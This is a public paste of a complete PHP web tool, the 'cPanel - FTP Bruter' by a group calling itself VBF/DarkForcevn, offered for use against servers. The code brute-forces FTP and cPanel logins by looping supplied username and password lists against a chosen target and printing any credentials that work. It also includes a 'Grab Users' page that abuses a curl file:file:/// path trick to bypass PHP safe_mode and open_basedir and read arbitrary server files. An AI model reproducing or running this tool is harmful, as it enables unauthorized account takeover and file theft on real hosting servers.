Don't like ads? PRO users don't see any ads ;-)
Public Pastes
Guest

cpanel-ftp bruter

By: a guest on May 9th, 2012  |  syntax: None  |  size: 7.56 KB  |  hits: 57  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. <html>
  2. <head>
  3. <meta http-equiv="Content-Language" content="en-us">
  4. </head>
  5. <title>cPane - FTP | Bruter</title>
  6. <style>
  7. body{margin:0px;font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;background-color:#3a3a3a;scrollbar-face-color: #303030;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color: #121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color: #9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color: #3a3a3a;}
  8. input,
  9. .kbrtm,select{background:#303030;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18; border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;}
  10. button{background-color: #666666; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
  11. body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}
  12. a:active { outline: none; }
  13. a:focus { -moz-outline-style: none; }
  14. </style>
  15.   <style type='text/css'>
  16.   <!--
  17.        A:link {text-decoration: none; color:#cccccc }
  18.        A:visited {text-decoration: none; color:#cccccc }
  19.        a:hover {text-decoration: none; color:#000000}
  20.   -->
  21. </style>
  22. <?php
  23. /* vnbrain.net
  24. */
  25. @ini_set('memory_limit', 1000000000000);
  26. $connect_timeout=5;
  27. @set_time_limit(0);
  28. $submit = $_REQUEST['submit'];
  29. $users = $_REQUEST['users'];
  30. $pass = $_REQUEST['passwords'];
  31. $target = $_REQUEST['target'];
  32. $option = $_REQUEST['option'];
  33. $page = $_GET['page'];
  34.  
  35. if($target == ''){
  36. $target = 'localhost';
  37. }
  38. ?>
  39.  
  40. <?php
  41.  print "<br><br><br><center><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=green cellPadding=5 width='70%' bgColor=#303030 borderColorLight=green border=1><tr><td width='70%'>
  42. <br><b><center><a href='?page=about'> About </a> - <a href='?page=crack'> cPanel - FTP Bruter </a> - <a href='?page=users'> Grab Users </a><br><br></center></td></tr></table>";
  43.  if ( $page == 'about' ){
  44. print
  45. "<br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=green cellPadding=5 width='40%'bgColor=#303030 borderColorLight=green border=1><tr><td>
  46. <br><b>Please enter your USERNAME and PASSWORD to logon<br>
  47. user<br>
  48. 220 +ok<br>
  49. pass ********<br>
  50. 220 +ok login successful<br>
  51. [ -=VBF=- | DarkForcevn ]# info<b><br><font face=tahoma><br>
  52. <font color='red' >cPanel - FTP Bruter : 1.0 | Editer by Zim3 & VipQBoy </font><b><br><br>
  53. Powerful tool , ftp and cPanel brute forcer , php 5.2.9 safe_mode & open_basedir bypasser ... more stuff will be included in the next version<br>
  54. Our website <br> <a href='http://vnbrain.net'> -=VBF=-</a><br>
  55.     <a href='http://darkforcevn.net'> ..:: DarkForcevn ::..</a><br>
  56. </center><br></td></tr></table>";
  57.  }elseif( $page == 'crack'){
  58.  // VBF - DF
  59. @ini_set('memory_limit', 1000000000000);
  60. $connect_timeout=5;
  61. @set_time_limit(0);
  62. $submit = $_REQUEST['submit'];
  63. $users = $_REQUEST['users'];
  64. $pass = $_REQUEST['passwords'];
  65. $target = $_REQUEST['target'];
  66. $option = $_REQUEST['option'];
  67. if($target == ''){
  68. $target = 'localhost';
  69. }
  70. print " <div align='center'>
  71. <form method='post' style='border: 1px solid #000000'><br><br>
  72. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=green cellPadding=5 width='40%' bgColor=#303030 borderColorLight=green border=1><tr><td>
  73. <b> Target  : </font><input type='text' name='target' size='16' value= $target style='border: font-family:Verdana; font-weight:bold;'></p></font></b></p>
  74. <div align='center'><br>
  75. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=green cellPadding=5 width='50%' bgColor=#303030 borderColorLight=green border=1>
  76. <tr>
  77. <td align='center'>
  78. <b>Username</b></td>
  79. <td>
  80. <p align='center'>
  81. <b>Password</b></td>
  82. </tr>
  83. </table>
  84. <p align='center'>
  85. <textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$users</textarea>
  86. <textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$pass</textarea><br>
  87. <br>                        
  88. <b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
  89. <input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='brute' name='submit' ></p>
  90. </td></tr></table></td></tr></form><p align= 'left'>";
  91. ?>
  92. <?php
  93. function ftp_check($host,$user,$pass,$timeout){
  94. $ch = curl_init();
  95. curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  96. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  97. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  98. curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  99. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  100. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  101. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  102. $data = curl_exec($ch);
  103. if ( curl_errno($ch) == 28 ) {
  104.  
  105. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  106. exit;}
  107.  
  108. elseif ( curl_errno($ch) == 0 ){
  109.  
  110. print
  111. "<b>[ -=VBF=- | DarkForcevn ]# </b>
  112. <b> Attacking has been done , found username : <font color='#FF0000'> $user </font> - password :
  113. <font color='#FF0000'> $pass </font></b><br>";}curl_close($ch);}
  114.  
  115. function cpanel_check($host,$user,$pass,$timeout){
  116. $ch = curl_init();
  117. curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
  118. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  119. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  120. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  121. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  122. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  123. $data = curl_exec($ch);
  124. if ( curl_errno($ch) == 28 ) {
  125. print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
  126. exit;}
  127. elseif ( curl_errno($ch) == 0 ){
  128.  
  129. print
  130. "<b>[ -=VBF=- | DarkForcevn ]# </b>
  131. <b>Attacking has been done , found username : <font color='#FF0000'> $user </font> - password :
  132. <font color='#FF0000'> $pass </font></b><br>";}curl_close($ch);}
  133.  
  134. if(isset($submit) && !empty($submit)){
  135.  
  136. $userlist = explode ("\n" , $users );
  137. $passlist = explode ("\n" , $pass );
  138. print "<b>[ -=VBF=- | DarkForcevn ]# Attacking ...</font></b><br>";
  139. foreach ($userlist as $user) {
  140. $_user = trim($user);
  141. foreach ($passlist as $password ) {
  142. $_pass = trim($password);
  143. if($option == "ftp"){
  144. ftp_check($target,$_user,$_pass,$connect_timeout);
  145. }
  146. if ($option == "cpanel")
  147. {
  148. cpanel_check($target,$_user,$_pass,$connect_timeout);
  149. }
  150. }
  151. }
  152. }
  153. }elseif ( $page == 'users'){
  154. echo "<br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=green cellPadding=5 width='40%'bgColor=#303030 borderColorLight border=1><tr><td>";
  155. echo '<p><form name="form" action="" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hardstylez" value="grab !"></form>';
  156. $file = $_POST['file'];
  157. $level=0;
  158. if(!file_exists("file:"))
  159.     @mkdir("file:");
  160. @chdir("file:");
  161. $level++;
  162.  
  163. $hardstyle = @explode("/", $file); // A R I A
  164.  
  165. for($a=0;$a<count($hardstyle);$a++){
  166.     if(!empty($hardstyle[$a])){
  167.         if(!file_exists($hardstyle[$a]))
  168.             @mkdir($hardstyle[$a]);
  169.         @chdir($hardstyle[$a]);
  170.         $level++;
  171.     }
  172. }
  173. while($level--) chdir("..");
  174. $ch = curl_init();
  175. curl_setopt($ch, CURLOPT_URL, "file:file:///".$file);
  176. echo "<textarea rows='30' cols='120' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0' >";
  177. if(FALSE==curl_exec($ch))
  178. die('Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.');
  179. echo ' </textarea> </FONT>';
  180. curl_close($ch);
  181. print '</table>';
  182. }
  183. ?>
create a new version of this paste RAW Paste Data